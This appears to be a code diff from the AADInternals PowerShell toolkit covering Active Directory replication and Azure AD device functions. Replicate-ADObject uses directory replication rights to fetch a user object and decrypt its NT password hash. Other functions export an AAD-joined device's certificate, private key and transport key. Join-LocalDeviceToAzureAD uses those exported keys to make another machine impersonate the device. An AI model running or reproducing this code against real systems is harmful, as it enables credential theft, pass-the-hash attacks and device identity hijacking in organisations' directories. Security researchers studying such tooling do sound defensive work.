Credentials used to connect to Domain Controller. Must have Directory Replication permissions.
|
||||
|
||||
.PARAMETER Server
|
||||
Name or ip address of the Domain Contoller.
|
||||
|
||||
.PARAMETER AsHex
|
||||
If defined, returns the thumbnailPhoto as hex string.
|
||||
|
||||
.Example
|
||||
$cred = Get-Credential
|
||||
PS C:\>$photo = Get-AADIntADUserThumbnailPhoto -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server 192.168.0.10
|
||||
|
||||
.Example
|
||||
$cred = Get-Credential
|
||||
PS C:\>Get-AADIntADUserThumbnailPhoto -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server dc01 -AsHex
|
||||
|
||||
ed31d88da3fc9aaa850ead2161faa815
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
|
||||
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$Server,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[pscredential]$Credentials,
|
||||
[Parameter(ParameterSetName='Guid',Mandatory=$true)]
|
||||
[Guid]$ObjectGuid=[guid]::Empty,
|
||||
[Parameter(ParameterSetName='DN',Mandatory=$true)]
|
||||
[String]$DistinguishedName,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[Switch]$AsHex
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
$ADObject = Replicate-ADObject -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid -DistinguishedName $DistinguishedName
|
||||
|
||||
if($AsHex)
|
||||
{
|
||||
return Convert-ByteArrayToHex -Bytes $ADObject.ThumbnailPhoto
|
||||
}
|
||||
else
|
||||
{
|
||||
return $ADObject.ThumbnailPhoto
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Mar 21st 2021
|
||||
# Replicate a single AD object using DSInternals.Replication
|
||||
function Replicate-ADObject
|
||||
{
|
||||
[CmdletBinding()]
|
||||
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$Server,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[pscredential]$Credentials,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[Guid]$ObjectGuid,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[String]$DistinguishedName
|
||||
)
|
||||
|
||||
Begin
|
||||
{
|
||||
try
|
||||
{
|
||||
# Import DSInternals dlls
|
||||
Add-Type -Path "$PSScriptRoot\DSInternals\NDceRpc.Microsoft.dll"
|
||||
Add-Type -Path "$PSScriptRoot\DSInternals\DSInternals.Replication.Interop.dll"
|
||||
Add-Type -Path "$PSScriptRoot\DSInternals\DSInternals.Replication.dll"
|
||||
|
||||
# Import native decrypt function
|
||||
$NativeDecryptSource=@"
|
||||
[DllImport("advapi32.dll", EntryPoint = "SystemFunction027", SetLastError = true)]
|
||||
public static extern uint RtlDecryptNtOwfPwdWithIndex([In] byte[] encryptedNtOwfPassword, [In] ref int index, [In, Out] byte[] ntOwfPassword);
|
||||
"@
|
||||
$NativeDecrypt = Add-Type -memberDefinition $NativeDecryptSource -passthru -name NativeDecrypt -ErrorAction SilentlyContinue
|
||||
Remove-Variable NativeDecryptSource
|
||||
}
|
||||
catch
|
||||
{
|
||||
Throw "Could not load required DLLs: $_.Exception.Message"
|
||||
}
|
||||
}
|
||||
Process
|
||||
{
|
||||
# Connect to domain controller
|
||||
Write-Verbose "Connecting to $Server as $($Credentials.UserName)"
|
||||
$repClient = [DSInternals.Replication.DirectoryReplicationClient]::new($Server,[DSInternals.Replication.RpcProtocol]::TCP,$Credentials)
|
||||
$sessionKey = $repClient.SessionKey
|
||||
|
||||
try
|
||||
{
|
||||
# Get the AD object
|
||||
if($ObjectGuid -ne [guid]::Empty)
|
||||
{
|
||||
Write-Verbose "Getting AD object for $($ObjectGuid.ToString())"
|
||||
$object = $repClient.GetReplicaObject($ObjectGuid)
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Verbose "Getting AD object for $DistinguishedName)"
|
||||
$object = $repClient.GetReplicaObject($DistinguishedName)
|
||||
}
|
||||
|
||||
Write-Verbose "Found object: $($object.DistinguishedName)"
|
||||
|
||||
# Get the attributes
|
||||
# https://github.com/vletoux/ADSecrets/blob/master/AttdIDToAttribute
|
||||
|
||||
if($object.Attributes[1441827]) # thumbnailPhoto
|
||||
{
|
||||
$thumbnailPhoto = $object.Attributes[1441827].Values[0]
|
||||
Write-Verbose " thumbnailPhoto ($($thumbnailPhoto.Count) bytes)"
|
||||
$object | Add-Member -NotePropertyName "thumbnailPhoto" -NotePropertyValue $thumbnailPhoto
|
||||
}
|
||||
|
||||
if($object.Attributes[589914]) # Decrypt the NT hash if present
|
||||
{
|
||||
$ntHash = $object.Attributes[ 589914].Values[0] # unicodePwd
|
||||
|
||||
# First round decrypt with session key
|
||||
|
||||
$salt = $ntHash[ 0..15]
|
||||
$encSecret = $ntHash[16..35]
|
||||
$md5 = [System.Security.Cryptography.MD5]::Create()
|
||||
$md5.TransformBlock($sessionKey,0, $sessionKey.Count,$null,0)
|
||||
$md5.TransformFinalBlock($salt, 0, 16)
|
||||
$rc4Key = $md5.Hash
|
||||
$encSecret = (Get-RC4 -Key $rc4Key -Data $encSecret)
|
||||
|
||||
# Second round decrypt with RID (Relative ID)
|
||||
$sid = $object.Attributes[589970].Values[0] # objectSid
|
||||
$rid = [BitConverter]::ToInt32($sid,$sid.Length - 4)
|
||||
$encSecret = $encSecret[4..19] # Strip the CRC
|
||||
$decSecret = [byte[]]::new(16)
|
||||
$NativeDecrypt::RtlDecryptNtOwfPwdWithIndex($encSecret, [ref]$rid, $decSecret)
|
||||
|
||||
Write-Verbose " NTHash: $(Convert-ByteArrayToHex -Bytes $decSecret)"
|
||||
$object | Add-Member -NotePropertyName "NTHash" -NotePropertyValue $decSecret
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
if($_.Exception.Message.Contains("RPC"))
|
||||
{
|
||||
Throw "Could not connect to $Server as $($Credentials.UserName), check the server and credentials!"
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
$repClient.Dispose()
|
||||
}
|
||||
|
||||
if(!$object)
|
||||
{
|
||||
if($ObjectGuid -ne [guid]::Empty)
|
||||
{
|
||||
Throw "No AD object found for $($ObjectGuid.ToString())"
|
||||
}
|
||||
else
|
||||
{
|
||||
Throw "No AD object found for $DistinguishedName"
|
||||
}
|
||||
}
|
||||
|
||||
return $object
|
||||
}
|
||||
}
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+528
@@ -0,0 +1,528 @@
|
||||
# This file contains functions for local AAD Joined devices
|
||||
|
||||
# Exports the device certificate of the local device
|
||||
# Dec 17th 2021
|
||||
function Export-LocalDeviceCertificate
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Exports the device certificate and private key of the local AAD joined/registered device.
|
||||
|
||||
.DESCRIPTION
|
||||
Exports the device certificate and private key of the local AAD joined/registered device.
|
||||
Certificate filename: <deviceid>.pfx
|
||||
Private key filename: <deviceid>.pem
|
||||
|
||||
.Example
|
||||
PS C\:>Export-AADIntLocalDeviceCertificate
|
||||
|
||||
Certificate exported to f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param()
|
||||
Process
|
||||
{
|
||||
# Check whether we are running in elevated session
|
||||
Test-LocalAdministrator -Warn | Out-Null
|
||||
|
||||
# Get the join info
|
||||
if(($joinInfo = Get-LocalDeviceJoinInfo) -eq $null)
|
||||
{
|
||||
Throw "Device seems not to be joined or registered."
|
||||
}
|
||||
|
||||
# Get the certificate
|
||||
Write-Verbose "Getting certificate $($joinInfo.CertThumb)"
|
||||
$certificate = Get-Item -Path $joinInfo.CertPath
|
||||
$binCert = $certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert)
|
||||
|
||||
# Get the private key
|
||||
Write-Verbose "Device key name: $($joinInfo.KeyName)"
|
||||
|
||||
if($joinInfo.JoinType -eq "Joined")
|
||||
{
|
||||
$keyPath = "$env:ALLUSERSPROFILE"
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Warning "Accessing key in user context will FAIL if already elevated to LOCAL SYSTEM."
|
||||
$keyPath = "$env:APPDATA"
|
||||
}
|
||||
|
||||
# CryptoAPI and CNG stores keys in different directories
|
||||
# https://docs.microsoft.com/en-us/windows/win32/seccng/key-storage-and-retrieval
|
||||
$paths = @(
|
||||
"$keyPath\Microsoft\Crypto\RSA\MachineKeys\$($joinInfo.KeyName)"
|
||||
"$keyPath\Microsoft\Crypto\Keys\$($joinInfo.KeyName)"
|
||||
)
|
||||
foreach($path in $paths)
|
||||
{
|
||||
$keyBlob = Get-BinaryContent $path -ErrorAction SilentlyContinue
|
||||
if($keyBlob)
|
||||
{
|
||||
Write-Verbose "Key loaded from $path"
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if(!$keyBlob)
|
||||
{
|
||||
if($joinInfo.KeyName.EndsWith(".PCPKEY"))
|
||||
{
|
||||
# This machine has a TPM
|
||||
Throw "PCP keys are not supported, unable to export private key!"
|
||||
}
|
||||
else
|
||||
{
|
||||
Throw "Error accessing key. If you are already elevated to LOCAL SYSTEM, restart PowerShell and try again."
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
# Parse the key blob
|
||||
$blobType = [System.BitConverter]::ToInt32($keyBlob,0)
|
||||
switch($blobType)
|
||||
{
|
||||
1 { $deviceKey = Parse-CngBlob -Data $keyBlob -Decrypt }
|
||||
2 { $deviceKey = Parse-CapiBlob -Data $keyBlob -Decrypt }
|
||||
default { throw "Unsupported key blob type" }
|
||||
}
|
||||
|
||||
$fileName = "$($joinInfo.deviceId).pfx"
|
||||
Set-BinaryContent -Path $fileName -Value (New-PfxFile -RSAParameters $deviceKey.RSAParameters -X509Certificate $binCert)
|
||||
Write-Host "Device certificate exported to $fileName"
|
||||
}
|
||||
}
|
||||
|
||||
# Exports the transport key of the local device
|
||||
# Dec 18th 2021
|
||||
function Export-LocalDeviceTransportKey
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Exports the transport key of the local AAD joined/registered device.
|
||||
|
||||
.DESCRIPTION
|
||||
Exports the transport key of the local AAD joined/registered device.
|
||||
Filename: <deviceid>_tk.pem
|
||||
|
||||
.Example
|
||||
PS C\:>Export-AADIntLocalDeviceTransportKey
|
||||
|
||||
Transport key exported to f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param()
|
||||
Process
|
||||
{
|
||||
# Check whether we are running in elevated session
|
||||
Test-LocalAdministrator -Warn | Out-Null
|
||||
|
||||
# Get the join info
|
||||
if(($joinInfo = Get-LocalDeviceJoinInfo) -eq $null)
|
||||
{
|
||||
Throw "Device seems not to be joined or registered."
|
||||
}
|
||||
|
||||
# Get the private key
|
||||
Write-Verbose "Getting transport key"
|
||||
$transportKeys = Get-LocalDeviceTransportKeys -JoinType $joinInfo.JoinType -IdpDomain $joinInfo.idpDomain -TenantId $joinInfo.tenantId -UserEmail $joinInfo.UserEmail
|
||||
|
||||
$fileName = "$($joinInfo.deviceId)_tk.pem"
|
||||
Set-Content $fileName -Value (Convert-RSAToPEM -RSAParameters $transportKeys.RSAParameters)
|
||||
Write-Host "Transport key exported to $fileName"
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Joins the local device to Azure AD
|
||||
# Dec 20th 2021
|
||||
function Join-LocalDeviceToAzureAD
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Joins the local Windows device to Azure AD using the given certificate.
|
||||
|
||||
.DESCRIPTION
|
||||
Joins the local Windows device to Azure AD using the given certificate created earlier with AADInternals.
|
||||
|
||||
Creates required registry keys and values, saves transport key to SystemKeys, and starts related scheduled tasks.
|
||||
|
||||
.Parameter OSVersion
|
||||
The operating system version of the device. Defaults to "10.0.18363.0"
|
||||
|
||||
.Parameter PfxFileName
|
||||
File name of the .pfx device certificate.
|
||||
|
||||
.Parameter PfxPassword
|
||||
The password of the .pfx device certificate.
|
||||
|
||||
.Parameter TransportKeyFileName
|
||||
File name of the transportkey
|
||||
|
||||
.Parameter UserPrincipalName
|
||||
The user principal name of the user.
|
||||
|
||||
.EXAMPLE
|
||||
PS\:>Export-AADIntLocalDeviceCertificate
|
||||
|
||||
Certificate exported to f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx
|
||||
|
||||
PS C\:>Export-AADIntLocalDeviceTransportKey
|
||||
|
||||
Transport key exported to f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem
|
||||
|
||||
PS\:>Join-AADIntLocalDeviceToAzureAD -UserPrincipalName JohnD@company.com -PfxFileName .\f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx -TransportKeyFileName .\f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem
|
||||
|
||||
Device configured. To confirm success, restart and run: dsregcmd /status
|
||||
|
||||
.EXAMPLE
|
||||
$token = Get-AADIntAccessTokenForAADJoin -SaveToCache
|
||||
PS\:>Join-AADIntDeviceToAzureAD -DeviceName "My computer" -DeviceType "Commodore" -OSVersion "C64"
|
||||
|
||||
Device successfully registered to Azure AD:
|
||||
DisplayName: "My computer"
|
||||
DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7
|
||||
Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689
|
||||
Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx"
|
||||
Local SID:
|
||||
S-1-5-32-544
|
||||
Additional SIDs:
|
||||
S-1-12-1-797902961-1250002609-2090226073-616445738
|
||||
S-1-12-1-3408697635-1121971140-3092833713-2344201430
|
||||
S-1-12-1-2007802275-1256657308-2098244751-2635987013
|
||||
|
||||
PS\:>Join-AADIntLocalDeviceToAzureAD -UserPrincipalName JohnD@company.com -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx
|
||||
|
||||
Device configured. To confirm success, restart and run: dsregcmd /status
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$UserPrincipalName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$PfxFileName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$PfxPassword,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$TransportKeyFileName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$OSVersion = "10.0.19044.1288"
|
||||
)
|
||||
Begin
|
||||
{
|
||||
$sha256 = [System.Security.Cryptography.SHA256]::Create()
|
||||
}
|
||||
Process
|
||||
{
|
||||
# Check whether we are running in elevated session
|
||||
Test-LocalAdministrator -Throw | Out-Null
|
||||
|
||||
# Import the certificate to LocalMachine's Personal store
|
||||
if($PfxPassword)
|
||||
{
|
||||
$certificate = Import-PfxCertificate -FilePath $PfxFileName -Password ($PfxPassword | ConvertTo-SecureString -AsPlainText -Force) -CertStoreLocation Cert:\LocalMachine\My -Exportable
|
||||
}
|
||||
else
|
||||
{
|
||||
$certificate = Import-PfxCertificate -FilePath $PfxFileName -CertStoreLocation Cert:\LocalMachine\My -Exportable
|
||||
}
|
||||
Write-Verbose "Certificate ($($certificate.Subject)) imported to CERT:\LocalMachine\My\$($certificate.Thumbprint)"
|
||||
|
||||
# Collect the required information
|
||||
$thumbprint = $certificate.Thumbprint
|
||||
$oids = Parse-CertificateOIDs -Certificate $certificate
|
||||
$tenantId = $oids.TenantId
|
||||
$deviceId = $oids.DeviceId
|
||||
|
||||
Write-Verbose "Thumbprint: $thumbprint"
|
||||
Write-Verbose "Device ID: $deviceId"
|
||||
Write-Verbose "Tenant ID: $tenantId"
|
||||
Write-Verbose "Object ID: $($oids.ObjectId)"
|
||||
Write-Verbose "Region: $($oids.Region)"
|
||||
Write-Verbose "Join Type: $($oids.JoinType)"
|
||||
|
||||
if($oids.JoinType -eq 0)
|
||||
{
|
||||
# Certificates for AAD Registered devices won't work :(
|
||||
Remove-Item $certificate -Force
|
||||
Throw "Unable to join: Provided certificate is for AAD Registered device."
|
||||
}
|
||||
|
||||
# Generate P2P cert and CA & import to correct stores
|
||||
Write-Verbose "Generating P2P certificate & CA"
|
||||
New-P2PDeviceCertificate -PfxFileName $PfxFileName -TenantId $tenantId -DeviceName (Get-ComputerName)
|
||||
|
||||
$P2P = Import-PfxCertificate -FilePath ".\$($deviceId)-P2P.pfx" -CertStoreLocation "Cert:\LocalMachine\My" -Exportable
|
||||
Write-Verbose "Certificate ($($P2P.Subject)) imported to CERT:\LocalMachine\My\$($P2P.Thumbprint)"
|
||||
|
||||
if(-not (Test-Path "Cert:\LocalMachine\AAD Token Issuer"))
|
||||
{
|
||||
New-Item -Path "Cert:\LocalMachine" -Name "AAD Token Issuer" -ItemType "directory" -Force
|
||||
}
|
||||
|
||||
$P2PCA = Import-Certificate -FilePath ".\$($deviceId)-P2P-CA.der" -CertStoreLocation "Cert:\LocalMachine\AAD Token Issuer"
|
||||
Write-Verbose "Certificate ($($P2PCA.Subject)) imported to CERT:\LocalMachine\AAD Token Issuer\$($P2PCA.Thumbprint)"
|
||||
|
||||
# Generate the transport key using device id as name
|
||||
if($TransportKeyFileName)
|
||||
{
|
||||
# Use the provided tkpriv
|
||||
$tkPEM = (Get-Content $TransportKeyFileName) -join "`n"
|
||||
$tkParameters = Convert-PEMToRSA -PEM $tkPEM
|
||||
}
|
||||
else
|
||||
{
|
||||
# Use dkpriv from the certificate
|
||||
$tkParameters = $certificate.PrivateKey.ExportParameters($true)
|
||||
}
|
||||
$transportKeyName = $deviceId
|
||||
$RSAFULLPRIVATEBLOB = New-KeyBLOB -Parameters $tkParameters -Type RSA3
|
||||
|
||||
$cngParameters=[System.Security.Cryptography.CngKeyCreationParameters]::new()
|
||||
$cngParameters.KeyCreationOptions = 0x20 -bor 0x80 # Create machine key | overwrite
|
||||
$cngParameters.Parameters.Add([System.Security.Cryptography.CngProperty]::new("Length",[System.BitConverter]::GetBytes(2048),"None"))
|
||||
$cngParameters.Parameters.Add([System.Security.Cryptography.CngProperty]::new("RSAFULLPRIVATEBLOB",$RSAFULLPRIVATEBLOB,"None"))
|
||||
$cngParameters.ExportPolicy = 0x01 -bor 0x02 # Allow export, allow plaintext export
|
||||
$transportKey = [System.Security.Cryptography.CngKey]::Create("RSA",$transportKeyName,$cngParameters)
|
||||
|
||||
Write-Verbose "TransportKey name: $($transportKey.KeyName)"
|
||||
Write-Verbose "TransportKey file name: $($transportKey.UniqueName)"
|
||||
|
||||
# Copy the private key to SystemKeys folder & delete from the current location
|
||||
Copy-Item -Path "$env:ALLUSERSPROFILE\Microsoft\Crypto\Keys\$($transportKey.UniqueName)" -Destination "$env:ALLUSERSPROFILE\Microsoft\Crypto\SystemKeys" -Force
|
||||
Write-Verbose "Transport key stored to $env:ALLUSERSPROFILE\Microsoft\Crypto\SystemKeys\$($transportKey.UniqueName)"
|
||||
$transportKey.Delete()
|
||||
|
||||
# Create the registry keys
|
||||
$CloudDomainJoinRoot = "HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin"
|
||||
|
||||
New-Item -Path "$CloudDomainJoinRoot" -Name "JoinInfo" -Force | Out-Null
|
||||
New-Item -Path "$CloudDomainJoinRoot\JoinInfo" -Name $thumbprint -Force | Out-Null
|
||||
New-Item -Path "$CloudDomainJoinRoot" -Name "TenantInfo" -Force | Out-Null
|
||||
New-Item -Path "$CloudDomainJoinRoot\TenantInfo" -Name $TenantId -Force | Out-Null
|
||||
|
||||
# Set join info
|
||||
$joinInfo = @{
|
||||
"IdpDomain" = "login.windows.net"
|
||||
"TenantId" = $TenantId
|
||||
"UserEmail" = $UserPrincipalName
|
||||
"AttestationLevel" = 0
|
||||
"AikCertStatus" = 0
|
||||
"TransportKeyStatus" = 0
|
||||
"DeviceDisplayName" = Get-ComputerName
|
||||
"OsVersion" = $OSVersion
|
||||
"DdidUpToDate" = 0
|
||||
"LastSyncTime" = [int]((Get-Date).ToUniversalTime()-$epoch).TotalSeconds
|
||||
}
|
||||
|
||||
Write-Verbose "Created key $CloudDomainJoinRoot\JoinInfo\$thumbprint"
|
||||
|
||||
foreach($key in $joinInfo.Keys)
|
||||
{
|
||||
Set-ItemProperty -Path "$CloudDomainJoinRoot\JoinInfo\$thumbprint" -Name $key -Value $joinInfo[$key] | Out-Null
|
||||
Write-Verbose " $key = $($joinInfo[$key])"
|
||||
|
||||
}
|
||||
|
||||
# Set tenant info
|
||||
$tenantInfo = @{
|
||||
"DisplayName" = $UserPrincipalName.split("@")[1].Split(".")[0]
|
||||
"MdmEnrollmentUrl" = ""
|
||||
"MdmTermsOfUseUrl" = ""
|
||||
"MdmComplianceUrl" = ""
|
||||
"UserSettingSyncUrl" = ""
|
||||
"DrsServiceVersion" = "1.0"
|
||||
"DrsEndpoint" = "https://enterpriseregistration.windows.net/EnrollmentServer/DeviceEnrollmentWebService.svc"
|
||||
"DrsResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
|
||||
"AuthCodeUrl" = "https://login.microsoftonline.com/$tenantId/oauth2/authorize"
|
||||
"AccessTokenUrl" = "https://login.microsoftonline.com/$tenantId/oauth2/token"
|
||||
"CdjServiceVersion" = "2.0"
|
||||
"CdjEndpoint" = "https://enterpriseregistration.windows.net/EnrollmentServer/device/"
|
||||
"CdjResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
|
||||
"NgcServiceVersion" = "1.0"
|
||||
"NgcEndpoint" = "https://enterpriseregistration.windows.net/EnrollmentServer/key/"
|
||||
"NgcResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
|
||||
"WebAuthnServiceVersion" = "1.0"
|
||||
"WebAuthnEndpoint" = "https://enterpriseregistration.windows.net/webauthn/$tenantId/"
|
||||
"WebAuthnResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
|
||||
"DeviceManagementServiceVersion" = "1.0"
|
||||
"DeviceManagementEndpoint" = "https://enterpriseregistration.windows.net/manage/$tenantId/"
|
||||
"DeviceManagementResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
|
||||
"RbacPolicyEndpoint" = "https://pas.windows.net"
|
||||
}
|
||||
|
||||
Write-Verbose "Created key $CloudDomainJoinRoot\TenantInfo\$tenantId"
|
||||
foreach($key in $tenantInfo.Keys)
|
||||
{
|
||||
Set-ItemProperty -Path "$CloudDomainJoinRoot\TenantInfo\$tenantId" -Name $key -Value $tenantInfo[$key] | Out-Null
|
||||
Write-Verbose " $key = $($tenantInfo[$key])"
|
||||
|
||||
}
|
||||
|
||||
# Calculate registry key parts for transportkey
|
||||
$idp = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes("login.windows.net")))
|
||||
$tenant = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes($TenantId)))
|
||||
|
||||
# Set the transport key name
|
||||
New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey" -Name "" -Force | Out-Null
|
||||
New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey\$idp" -Name $tenant -Force | Out-Null
|
||||
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey\$idp\$tenant" -Name "SoftwareKeyTransportKeyName" -Value $transportKeyName -Force | Out-Null
|
||||
|
||||
Write-Verbose "Transport key set: HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey\$idp\$tenant\SoftwareKeyTransportKeyName = $transportKeyName"
|
||||
|
||||
# Set some registry values
|
||||
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\IdentityStore\LoadParameters\{B16898C6-A148-4967-9171-64D755DA8520}" -Name "LoginUri" -Value "https://login.microsoftonline.com" -Force | Out-Null
|
||||
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\IdentityStore\LoadParameters\{B16898C6-A148-4967-9171-64D755DA8520}" -Name "Enabled" -Value 1 | Out-Null
|
||||
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Provisioning\AutopilotPolicy" -Name "AutopilotMode" -Value 0 -Force | Out-Null
|
||||
|
||||
# Restart Software Protection Platform
|
||||
Start-ScheduledTask -TaskPath "\Microsoft\Windows\SoftwareProtectionPlatform\" -TaskName "SvcRestartTask"
|
||||
Write-Verbose "Restarted Software Protection Platform task."
|
||||
|
||||
# Enable and start AAD Device-Sync
|
||||
Enable-ScheduledTask -TaskPath "\Microsoft\Windows\Workplace Join\" -TaskName "Device-Sync" | Out-Null
|
||||
Start-ScheduledTask -TaskPath "\Microsoft\Windows\Workplace Join\" -TaskName "Device-Sync"
|
||||
Write-Verbose "Enabled and started Device-Sync task."
|
||||
|
||||
# Run RegisterDeviceProtectionStateChanged
|
||||
Start-ScheduledTask -TaskPath "\Microsoft\Windows\DeviceDirectoryClient\" -TaskName "RegisterDeviceProtectionStateChanged"
|
||||
Write-Verbose "Ran RegisterDeviceProtectionStateChanged task."
|
||||
|
||||
Write-Host "Device configured. To confirm success, restart and run: dsregcmd /status"
|
||||
}
|
||||
End
|
||||
{
|
||||
$sha256.Dispose()
|
||||
}
|
||||
}
|
||||
|
||||
# Gets the join info of the local device
|
||||
# Dec 23rd 2021
|
||||
function Get-LocalDeviceJoinInfo
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Shows the Azure AD Join information of the local device.
|
||||
|
||||
.DESCRIPTION
|
||||
Shows the Azure AD Join information of the local device.
|
||||
|
||||
.Example
|
||||
PS C\:>Get-AADIntLocalDeviceJoinInfo
|
||||
|
||||
JoinType : Joined
|
||||
RegistryRoot : HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin
|
||||
CertThumb : CEC55C2566633AC8DA3D9E3EAD98A599084D0C4C
|
||||
CertPath : Cert:\LocalMachine\My\CEC55C2566633AC8DA3D9E3EAD98A599084D0C4C
|
||||
TenantId : afdb4be1-057f-4dc1-98a9-327ffa079cca
|
||||
DeviceId : f4a4ea70-b196-4305-9531-018c3bcfc112
|
||||
ObjectId : d625e2e9-8465-4513-b6c9-8d34a3735d41
|
||||
KeyName : 8bff0b7f02f6256b521de95a77d4e70d_934bc9f7-04ef-43d8-a343-610b736a4030
|
||||
KeyFriendlyName : Device Identity Key
|
||||
IdpDomain : login.windows.net
|
||||
UserEmail : JohnD@company.com
|
||||
AttestationLevel : 0
|
||||
AikCertStatus : 0
|
||||
TransportKeyStatus : 0
|
||||
DeviceDisplayName : WIN-JohnD
|
||||
OsVersion : 10.0.19044.1288
|
||||
DdidUpToDate : 0
|
||||
LastSyncTime : 1643370347
|
||||
|
||||
.Example
|
||||
PS C\:>Get-AADIntLocalDeviceJoinInfo
|
||||
WARNING: This device has a TPM, exporting keys probably does not work!
|
||||
|
||||
JoinType : Joined
|
||||
RegistryRoot : HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin
|
||||
CertThumb : FFDABA36622C66F1F9104703D77603AE1964E92B
|
||||
CertPath : Cert:\LocalMachine\My\FFDABA36622C66F1F9104703D77603AE1964E92B
|
||||
TenantId : afdb4be1-057f-4dc1-98a9-327ffa079cca
|
||||
DeviceId : e4c56ee8-419a-4421-bff4-1d3cb1c85ead
|
||||
ObjectId : b62a31e9-8268-485f-aba8-69696cdf3048
|
||||
KeyName : C:\ProgramData\Microsoft\Crypto\PCPKSP\[redacted]\[redacted].PCPKEY
|
||||
KeyFriendlyName : Device Identity Key
|
||||
IdpDomain : login.windows.net
|
||||
UserEmail : package_c1b50acc-82f6-4a19-ba87-e62e5f7fbeee@company.com
|
||||
AttestationLevel : 0
|
||||
AikCertStatus : 0
|
||||
TransportKeyStatus : 3
|
||||
DeviceDisplayName : cloudpc-80153
|
||||
OsVersion : 10.0.19044.1469
|
||||
DdidUpToDate : 0
|
||||
LastSyncTime : 1643622945
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param()
|
||||
Process
|
||||
{
|
||||
$AADJoinRoot = "HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin"
|
||||
$AADRegisteredRoot = "HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WorkplaceJoin"
|
||||
|
||||
# Check the join type and construct return value
|
||||
if(Test-Path -Path "$AADJoinRoot\JoinInfo")
|
||||
{
|
||||
$joinRoot = $AADJoinRoot
|
||||
$certRoot = "LocalMachine"
|
||||
$attributes = [ordered]@{
|
||||
"JoinType" = "Joined"
|
||||
"RegistryRoot" = $AADJoinRoot
|
||||
}
|
||||
}
|
||||
elseif(Test-Path -Path "$AADRegisteredRoot\JoinInfo")
|
||||
{
|
||||
$joinRoot = $AADRegisteredRoot
|
||||
$certRoot = "CurrentUser"
|
||||
$attributes = [ordered]@{
|
||||
"JoinType" = "Registered"
|
||||
"RegistryRoot" = $AADRegisteredRoot
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
return $null
|
||||
}
|
||||
|
||||
# Get the Device certificate thumbnail from registery (assuming the device can only be joined once)
|
||||
$regItem = (Get-ChildItem -Path "$joinRoot\JoinInfo\").Name
|
||||
$certThumbnail = $regItem.Substring($regItem.LastIndexOf("\")+1)
|
||||
$certificate = Get-Item -Path "Cert:\$certRoot\My\$certThumbnail"
|
||||
|
||||
$oids = Parse-CertificateOIDs -Certificate $certificate
|
||||
|
||||
$attributes["CertThumb" ] = "$certThumbnail"
|
||||
